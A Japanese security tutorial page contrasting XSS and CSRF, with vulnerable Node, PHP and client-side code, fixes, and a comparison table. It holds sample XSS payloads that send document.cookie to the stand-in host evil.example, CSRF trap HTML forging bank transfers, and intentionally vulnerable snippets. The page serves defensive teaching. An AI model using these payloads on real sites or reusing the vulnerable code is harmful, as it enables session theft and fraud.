← レッドチーム / 攻撃技術
RED TEAM  ·  ■ XSS   ■ CSRF

名前は似てるが、
XSS と CSRF は
正反対の攻撃。

どちらも「Webの信頼」を悪用しますが、悪用する信頼の向きが逆です。XSS はサイトがユーザーを信頼しすぎること、CSRF はサイトがブラウザを信頼しすぎることを突きます。ここが腹落ちすれば、対策が別物になる理由も見えます。

XSS Cross-Site Scripting

他人のブラウザで、悪意あるスクリプトを実行させる。サイトが受け取った入力を、無害化せずページに埋め込んでしまうのが原因。

CSRF Cross-Site Request Forgery

ログイン済みユーザーに、意図しない操作を送信させる。ブラウザが Cookie を自動送信する仕組みに便乗する。

1 核心の違い

「誰を信頼しすぎたか」で分かれる

2つの攻撃は、Webアプリが暗黙に置いている「信頼」の別々の穴を突きます。まず絵で捉えます。

XSS ── サイトが「ユーザー入力」を信頼しすぎる
攻撃者スクリプトを投稿
無害化せず保存/反射──▶
サイトそのまま出力
スクリプト入りHTML──▶
被害者ブラウザで実行
被害者のブラウザは、サイトから来たスクリプトだから安全と信じて実行してしまう。悪いのは「入力を信じたサイト」。
CSRF ── サイトが「ブラウザからのリクエスト」を信頼しすぎる
被害者ログイン済み
罠サイトを開く──▶
罠サイト裏でリクエスト
Cookie 自動添付で送信──▶
サイト本人と誤認
サイトは Cookie が付いている=本人の操作と信じて処理してしまう。悪いのは「リクエストの出所を確かめなかったサイト」。
一言でいうと

XSS はコードを実行させる攻撃、CSRF は操作をさせる攻撃。XSS で奪ったスクリプト実行権を使って CSRF 対策トークンごと盗む、という合わせ技もあり、XSS があると CSRF 対策は無力化されがちです。だから優先度は XSS の根絶が上。

2 XSS の仕組み

なぜ起こるか:入力がコードとして解釈される

XSS の根っこは1つです。ユーザーが入力した文字列を、HTML/JavaScript として解釈される場所へ、無害化せずに出力してしまうこと。ブラウザは「データ」と「コード」を見た目で区別できないので、<script> と書かれていればコードとして実行します。

大事なのは、実行されたスクリプトが「被害者のブラウザで、そのサイトのオリジンの権限で」動く点です。つまり被害者のログインセッションをそのまま使えます。以下、3タイプそれぞれで脆弱なコード → なぜ発火するか → 直し方を具体的に見ます。

Stored / 格納型

掲示板のコメント欄

刺さる場所:DB に保存され、閲覧者全員に配信される
脆弱なコード
server.js — コメントをそのまま描画
// 保存されたコメントを一覧表示(危険)
app.get('/board', (req, res) => {
  const rows = db.all('SELECT body FROM comments');
  const html = rows.map(r => `<div class="c">${r.body}</div>`).join('');
  res.send(html); // r.body を無害化せず埋め込んでいる
});
なぜ発火するか

攻撃者がコメント本文に <script>fetch('https://evil.example/c?d='+document.cookie)</script> を投稿すると、それが DB に保存される。以降その掲示板を開いた人全員のブラウザで、テンプレートリテラルに直接埋め込まれた ${r.body} がタグごと出力され、スクリプトとして実行される。攻撃者は一度投稿するだけで、以後の閲覧者を自動で巻き込めるのが格納型の怖さ。

実際に何が起きるか

閲覧者のセッション Cookie が攻撃者サーバーへ送られ、セッションが乗っ取られる。管理者がその掲示板を開けば管理者セッションが盗まれ、被害が一気に拡大する(self-propagating な XSS ワームもこの型)。

直し方
出力時にエスケープする
const esc = s => s.replace(/[&<>"']/g, c =>
  ({'&':'&amp;','<':'&lt;','>':'&gt;','"':'&quot;',"'":'&#39;'}[c]));

const html = rows.map(r => `<div class="c">${esc(r.body)}</div>`).join('');

エスケープすると <script> は &lt;script&gt; になり、「実行されるタグ」ではなく「画面に見える文字列」になる。テンプレートエンジン(EJS の <%= %>、Handlebars の {{ }})を使えば既定でこれをやってくれる。

Reflected / 反射型

検索結果ページ

刺さる場所:URL パラメータが、その場の応答に echo される
脆弱なコード
search.php — 検索語をそのまま表示
// 「"○○" の検索結果」と表示したいだけ(危険)
$q = $_GET['q'];
echo "<h2>“$q” の検索結果</h2>";
なぜ発火するか

攻撃者はこんな URL を作り、標的に踏ませる:
https://shop.example/search.php?q=<script>fetch('https://evil.example/s?c='+document.cookie)</script>
サーバーは $q をそのまま <h2> の中に反射するので、リンクを踏んだ被害者のブラウザでスクリプトが即実行される。保存はされないので、「攻撃 URL を踏ませる」フィッシングとセットで使われる。短縮 URL やメールのリンクに仕込むのが典型。

実際に何が起きるか

被害者がリンクを踏んだ瞬間に、その人のログインセッションで動作。Cookie 送信のほか、ページ上に偽のログインフォームを描画してパスワードを入力させる(実在サイト上に出るので気づきにくい)といった手口に発展する。

直し方
出力時に htmlspecialchars でエスケープ
$q = $_GET['q'];
echo "<h2>“" . htmlspecialchars($q, ENT_QUOTES, 'UTF-8') . "” の検索結果</h2>";

ENT_QUOTES でシングル/ダブル両方のクォートも変換する。属性値の中(value="...")に出す場合は特にクォートのエスケープが効いてくる。

DOM-based / DOM型

クライアント側 JS が hash を描画

刺さる場所:サーバーを通らず、ブラウザ内の JS だけで発火
脆弱なコード
app.js — URLの値を innerHTML に入れる
// #welcome=名前 を挨拶に反映したいだけ(危険)
const name = decodeURIComponent(location.hash.slice(1));
document.querySelector('#greet').innerHTML = 'ようこそ ' + name;
なぜ発火するか

攻撃 URL:https://app.example/#<img src=x onerror="fetch('https://evil.example/d?c='+document.cookie)">
location.hash の値を innerHTML に代入した瞬間、ブラウザはそれを HTML として解釈し、<img> の onerror(画像読み込み失敗で発火)が動く。サーバーには # 以降が送られないため、サーバー側ログにも WAF にも痕跡が残りにくいのが DOM 型の特徴。原因は完全にフロントエンド実装側にある。

実際に何が起きるか

SPA でよく起きる。innerHTML・document.write・eval・$(...).html() あたりにユーザー由来の値が流れ込むと発火する。サーバー側のエスケープをいくら固めても、この経路は塞げない。

直し方
innerHTML をやめ textContent を使う
const name = decodeURIComponent(location.hash.slice(1));
document.querySelector('#greet').textContent = 'ようこそ ' + name;
// textContent はHTMLとして解釈せず、必ず「文字」として入れる

どうしても HTML を入れたいときは DOMPurify.sanitize() のようなサニタイザを通す。React/Vue でも dangerouslySetInnerHTML / v-html にユーザー値を渡すと同じ穴が開く。

3 XSS の対策

「出力する瞬間」に無害化するのが本丸

✓ 出力エスケープ(最重要)

データを HTML に出す瞬間に <→&lt; などへ変換する。出力先ごとに正しいエスケープが違う点が肝:HTML本文、属性値、<script>内、URL、CSS でそれぞれ必要な処理が異なる。上の3例はいずれも「出力時」に対処している。

✓ DOM 操作は textContent / サニタイザ

DOM 型はサーバーのエスケープでは防げない。textContent や setAttribute を使い、innerHTML・eval・document.write にユーザー値を流さない。必要なら DOMPurify を通す。

✓ フレームワークの自動エスケープを使う

React の {}、Vue の {{ }} は既定でエスケープする。dangerouslySetInnerHTML や v-html のような自動エスケープを外す機能を安易に使わない。

✓ Content-Security-Policy (CSP)

実行してよいスクリプトの出所をブラウザに宣言するヘッダ。script-src 'self' でインラインスクリプトを禁止すれば、埋め込まれた <script> が実行されない。エスケープ漏れの保険になる多層防御。

✓ HttpOnly Cookie

セッション Cookie に HttpOnly を付けると document.cookie から読めなくなる。上の3例の document.cookie 窃取はこれだけで空振りになる被害軽減策(XSS 自体は残るので本丸はエスケープ)。

4 CSRF の仕組み

なぜ起こるか:ブラウザが Cookie を勝手に付ける

CSRF の根っこは、ブラウザの親切な仕様です。あるサイト宛のリクエストには、そのサイトの Cookie が自動で添付される——たとえそのリクエストが、別の(罠)サイトのページから発生していても。攻撃者は Cookie の中身を盗む必要がない。ブラウザに「代わりに送らせる」だけです。

例1:GET を狙う(<img> 一発)

被害者が銀行にログイン中(=セッション Cookie 保持)とする。罠サイトにこれを置くだけ。

罠サイトのHTML — 画像に偽装した送金
<!-- 表示されない画像。読みにいく時点で送金GETが飛ぶ -->
<img src="https://bank.example/transfer?to=attacker&amount=100000">

ブラウザは src を取得しにいくとき bank.example の Cookie を自動添付。銀行から見れば正規セッション付きのリクエストなので、本人の指示と区別できない。状態を変える操作を GET で受けているのが根本の設計ミス。

例2:POST を狙う(自動 submit フォーム)

「送金は POST だから安全」ではない。罠サイトは POST フォームを作って JS で自動送信できる。

罠サイトのHTML — 開いた瞬間にPOST送信
<form id="f" action="https://bank.example/transfer" method="POST">
  <input name="to" value="attacker">
  <input name="amount" value="100000">
</form>
<script>document.getElementById('f').submit();</script> // 自動発射

フォームの送信先が別サイトでも、ブラウザは送信先(bank.example)の Cookie を付ける。被害者は罠ページを開いただけで POST 送金が実行される。GET/POST の別は CSRF 対策にならない。

ポイント

CSRF が成立する3条件:①Cookie セッションで認証している ②操作の中身が予測可能(パラメータが読める)③リクエストの出所を検証していない。防御は③を塞ぐ=「本人の画面から来たリクエストか」を確かめること。

5 CSRF の対策

「本人の画面から来たか」を検証する

王道:CSRF トークンの実装

フォーム表示時にセッション紐付きのランダム値を埋め込み、送信時に照合する。罠サイトはこの値を知り得ない。

サーバー側 — 発行と検証
// フォーム表示時:トークンを生成してセッションに保存+埋め込む
const token = crypto.randomBytes(32).toString('hex');
req.session.csrf = token;
// <input type="hidden" name="_csrf" value="{token}"> として出力

// 送信受信時:一致しなければ拒否
app.post('/transfer', (req, res) => {
  if (req.body._csrf !== req.session.csrf) return res.status(403).end();
  // ← ここを通過したものだけ処理
});

例2の罠フォームは _csrf の正しい値を入れられないので 403 で弾かれる。多くのフレームワークに標準搭載(Synchronizer Token Pattern)。

✓ SameSite Cookie 属性

Set-Cookie: session=...; SameSite=Lax(or Strict)で、別サイト起点のリクエストには Cookie が付かなくなる。例1・例2の前提そのものを崩す。現代ブラウザは Lax がほぼ既定だが、明示するのが安全。

✓ Origin / Referer 検証

サーバーで Origin/Referer が自サイトかを確認し、別サイト起点なら拒否。トークンと併用する多層防御。

✓ 状態変更を GET でやらない

送金・削除・設定変更は必ず POST/PUT/DELETE に。例1の <img> 一発は、そもそも GET で副作用を起こさなければ成立しない。

✓ 重要操作に再認証

送金・パスワード変更ではパスワード再入力や確認ステップを要求。自動発射の一撃では通らなくなる。

6 早見表

横に並べて確認

観点XSSCSRF
正式名Cross-Site ScriptingCross-Site Request Forgery
何をされるブラウザで悪意のスクリプトを実行される本人の権限で意図しない操作を送信される
悪用する信頼サイト → ユーザー入力サイト → ブラウザ(Cookie)
攻撃者が奪うものスクリプト実行権(Cookie・DOM 何でも)操作の実行(Cookie 中身は見えない)
主因出力時の無害化漏れリクエスト出所の未検証
主対策出力エスケープ・textContent・CSP・HttpOnlyCSRFトークン・SameSite・Origin検証
覚え方

XSS = サイトが悪いスクリプトを「配ってしまう」/ CSRF = 本人に操作を「させてしまう」。XSS はデータをコードにさせない(エスケープ・textContent)、CSRF はリクエストの本人性を確かめる(トークン・SameSite)。守る層が違う。